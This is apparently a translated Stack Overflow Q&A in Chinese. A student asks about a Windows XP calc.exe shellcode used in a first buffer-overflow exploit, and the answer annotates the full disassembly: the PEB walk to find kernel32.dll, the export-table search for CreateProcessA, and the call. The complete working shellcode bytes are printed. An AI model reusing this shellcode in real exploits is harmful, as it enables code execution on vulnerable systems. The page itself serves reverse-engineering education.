首页 > 解决方案 > 打开Calc.exe的Shellcode太长太复杂,看不懂!我的第一个漏洞利用程序

问题描述

我使用我在网上找到的 shellcode 在 Windows XP 操作系统上编写了我的第一个漏洞利用程序。它打开计算器,整个程序成功运行。然而,即使我自己没有编写 shellcode,我也必须通过反汇编非常清楚它的作用。事实证明我的 shellcode 很长而且很复杂(甚至我的老师也这么说)。这是二进制文件: char shellcode[] = "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f" "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b" "\x77\x20\x8b\x3f\x80\x7e\x0c\x33" "\x75\xf2\x89\xc7\x03\x78\x3c\x8b" "\x57\x78\x01\xc2\x8b\x7a\x20\x01" "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6" "\x45\x81\x3e\x43\x72\x65\x61\x75" "\xf2\x81\x7e\x08\x6f\x63\x65\x73" "\x75\xe9\x8b\x7a\x24\x01\xc7\x66" "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7" "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9" "\xb1\xff\x53\xe2\xfd\x68\x63\x61" "\x6c\x63\x89\xe2\x52\x52\x53\x53" "\x53\x53\x53\x53\x52\x53\xff\xd7"; 这是反汇编的东西:

 0:  31 db                   xor    ebx,ebx
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]
12: 8b 3f                   mov    edi,DWORD PTR [edi]
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc
1a: 89 c7                   mov    edi,eax
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
22: 01 c2                   add    edx,eax
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax
29: 89 dd                   mov    ebp,ebx
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
30: 45                      inc    ebp
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax
56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a
5d: 68 63 61 6c 63          push   0x636c6163
62: 89 e2                   mov    edx,esp
64: 52                      push   edx
65: 52                      push   edx
66: 53                      push   ebx
67: 53                      push   ebx
68: 53                      push   ebx
69: 53                      push   ebx
6a: 53                      push   ebx
6b: 53                      push   ebx
6c: 52                      push   edx
6d: 53                      push   ebx
6e: ff d7                   call   edi

如您所知,这很长而且令人困惑。谁能解释它的作用?我更习惯于 shellcode 将一些函数地址推送到寄存器然后调用它......这对我来说太高级了!提前致谢:)

标签: assemblystack-overflowbuffer-overflowexploitshellcode

解决方案


Windows API 没有像在 Linux/BSD 中那样根据系统调用来定义。
为了调用 API,程序必须加载包含的 DLL 并找到导出过程的地址(这个过程可以是完整的 API 实现,也可以是实际syscall指令周围的小存根)。

要使 shellcode 能够调用 API,它必须加载 DLL 并找到 API 导出过程。
某些 DLL 总是被加载,即使在加载的程序的 PE 中没有监听依赖项,其中kernel32.dll.

shellcode 的第一部分是定位 的基地址kernel32.dll,它是通过利用PEB_LDR_DATA结构来实现的。
此结构包含已加载模块 (DLL) 的列表及其名称和基地址。
实际上有三个双链表,都指向相同的对象,但顺序不同,偏移量略有不同。
shellcode 正在使用 list InInitializationOrderModuleList

PEB_LDR_DATA位于PEB其中又位于 中TEB。位于 指向的段
中。 TEBfs

回顾一下:

FS -> TEB -> PEB -> PEB_LDR_DATA -> InInitializationOrderModuleList

这里是第一部分的描述

; Zeroes EBX
0:  31 db                   xor    ebx,ebx
; FS points to the TEB, TEB+0x30 is a pointer to the PEB
2:  64 8b 7b 30             mov    edi,DWORD PTR fs:[ebx+0x30]
; PEB+0xc is a pointer to PEB_LDR_DATA
6:  8b 7f 0c                mov    edi,DWORD PTR [edi+0xc]
; PEB_LDR_DATA is a pointer to InInitializationOrderModuleList
; EDI points to a LIST_ENTRY structure
9:  8b 7f 1c                mov    edi,DWORD PTR [edi+0x1c]

; Start of a loop
; EAX = Base address of the current module
c:  8b 47 08                mov    eax,DWORD PTR [edi+0x8]
; ESI = Ptr to UNICODE basename of the current module
f:  8b 77 20                mov    esi,DWORD PTR [edi+0x20]

; EDI = Ptr to FLink member
; Move the pointer to the next item
12: 8b 3f                   mov    edi,DWORD PTR [edi]
; Check if character 7 of the DLL base name is 3 (matches kernel32.dll)
14: 80 7e 0c 33             cmp    BYTE PTR [esi+0xc],0x33
18: 75 f2                   jne    0xc

这里可能令人困惑的是,InInitializationOrderModuleList成员是指向LIST_ENTRY结构的指针,这是一个可变大小的结构;在偏移量 0 和 4 必须有FLinkBLink成员后跟自定义数据。Windows 只为每个 DLL 保留一个LDR_MODULE结构,这三个列表被简单地重新排列,以便遍历它们产生预期的顺序。
此外,每个列表都指向的偏移量LDR_MODULE,具体来说,InInitializationOrderModuleList项目指向 的InInitializationOrderLinks成员LDR_MODULE
有关详细和更好的解释,请参见此处

第一部分的最终结果是 的基地址kernel32.dlleax.

基地址很重要,因为 Windows 将 MZ 和 PE 标头保存在内存中,因此加载的模块只是一个“扩展的”PE。
特别是它是一个有效的 PE。PE 布局可以在 Wikipedia 上
找到。

shellcode 的第二部分将尝试查找CreateProcessA.
为此,它需要走 PE 的出口部分。
标头中的大多数(全部?)字段是相对于标头本身开始的偏移量,当文件加载到内存中时,该偏移量称为 RVA(相对虚拟地址,相对于基地址)。
因此,您会看到一些add将 RVA 转换为 VA(绝对虚拟地址)的方法。

例如,此处记录了导出部分。
有一个带有指向导出函数名称的指针的表,该表与序数表耦合(通过它们的索引)。
如果名称CreateWindowEx在名称表中具有索引 3,则通过查看序数表中的索引 3,我们可以找到它的序数。
函数的序号只是入口点地址表的索引。
该结构的布局是为了通过其序号快速查找函数,但可以采取额外的步骤并使用名称来代替。

回顾一下:

Base address -> PE header -> Export section -> Index of "CreateProcessA" in the names table -> Index of "CreateProcessA" in the ordinals table -> Entry-point of "CreateProcessA"

注释代码是

;EDI = MZ Header
1a: 89 c7                   mov    edi,eax
;EDI = PE Header
1c: 03 78 3c                add    edi,DWORD PTR [eax+0x3c]
;EDX = Export section RVA
1f: 8b 57 78                mov    edx,DWORD PTR [edi+0x78]
;EDX = Export section VA
22: 01 c2                   add    edx,eax

;EDI = VA of Names table
24: 8b 7a 20                mov    edi,DWORD PTR [edx+0x20]
27: 01 c7                   add    edi,eax

; Start of a loop over the names
; I = 0
29: 89 dd                   mov    ebp,ebx
; ESI = ptr to the exported function name
2b: 8b 34 af                mov    esi,DWORD PTR [edi+ebp*4]
2e: 01 c6                   add    esi,eax
; I++
30: 45                      inc    ebp
; Name starts with 'Crea'
; Mind the endianness
31: 81 3e 43 72 65 61       cmp    DWORD PTR [esi],0x61657243
37: 75 f2                   jne    0x2b
; Name has 'oces' at char 9?
; Mind the endianness
39: 81 7e 08 6f 63 65 73    cmp    DWORD PTR [esi+0x8],0x7365636f
40: 75 e9                   jne    0x2b

;Name CreateProcessA found
;EBP = Index into the names table of CreateProcessA

; EDI = VA of the Ordinals table
42: 8b 7a 24                mov    edi,DWORD PTR [edx+0x24]
45: 01 c7                   add    edi,eax
; BP = Ordinal number of CreateProcessA
47: 66 8b 2c 6f             mov    bp,WORD PTR [edi+ebp*2]
; EDI = VA of the Entry-points table
4b: 8b 7a 1c                mov    edi,DWORD PTR [edx+0x1c]
4e: 01 c7                   add    edi,eax
; EDI = VA of CreateProcessA
50: 8b 7c af fc             mov    edi,DWORD PTR [edi+ebp*4-0x4]
54: 01 c7                   add    edi,eax

第 2 部分的最终结果是CreateProcessA

第三部分也是最后一部分只是调用CreateProcessA.

唯一奇怪的是这个

56: 89 d9                   mov    ecx,ebx
58: b1 ff                   mov    cl,0xff
5a: 53                      push   ebx
5b: e2 fd                   loop   0x5a

它创建了一个 255*4 字节的零缓冲区,对我来说似乎没用。
其余的应该是你习惯的那种常见的 shellcode。


虽然重新编写这个 shellcode 有点乏味,但我建议在你的职业生涯中至少自己经历一次。
我的意思是再次检查它,检查偏移量等等。
这很重要,因为这种 shellcode 非常标准(任何沙箱都会检测到它)并且可以被视为更高级技术的基本块。

还要注意 shellcode 所采用的快捷方式:它不是 100% 的故障安全(它不会准确 kernel32.dll检查and CreateProcessA),但它足够正确,可以工作。
这也是很典型的。


推荐阅读